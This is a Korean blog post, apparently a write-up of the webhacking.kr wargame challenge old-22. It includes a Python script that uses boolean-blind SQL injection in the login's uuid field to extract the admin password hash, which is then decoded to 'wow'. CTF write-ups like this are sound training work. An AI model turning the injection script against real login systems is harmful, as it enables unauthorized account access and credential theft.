write-up(web)/webhacking.kr

[Webhacking.kr] old-22

chanchand 2023. 11. 2. 16:10
반응형

문제


로그인과 회원가입 기능이 존재한다.

 

 

 

문제풀이


guest/guest로 로그인하면 해시값을 확인할 수 있다.

 

md5 복호화 결과, guestapple임을 알 수 있고, 비밀번호+apple이 해시값으로 만들어지는 것을 알 수 있다.

 

import requests

url = 'https://webhacking.kr/challenge/bonus-2/index.php'
cookie = {'PHPSESSID':'bmvg2k4nh4momseflhkh18371h'}

pw_len = 0

for i in range(100):
  params = {"uuid":"admin\' and length(pw)={}#".format(i),"pw":"123"}
  res = requests.post(url, cookies = cookie, data = params)
  if "Wrong password" in res.text:
    pw_len = i
    break

print("길이:{}".format(pw_len))

pw = ""
for i in range(pw_len + 1):
  for j in range(32, 123):
    params = {"uuid":"admin\' and ascii(substr(pw,{},1))={}#".format(i,j), "pw":"123"}
    res = requests.post(url, cookies = cookie, data = params)
    if "Wrong password" in res.text:
      pw += chr(j)
      print(pw)
      break

print("해시값:{}".format(pw))

 

admin 계정의 해시값을 구하고 복호화하여 비밀번호가 "wow"임을 알 수 있다.

반응형

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-28  (0) 2023.11.02
[Webhacking.kr] old-27  (0) 2023.11.02
[Webhacking.kr] old-21  (0) 2023.11.02
[Webhacking.kr] old-20  (0) 2023.11.02
[Webhacking.kr] old-19  (1) 2023.11.02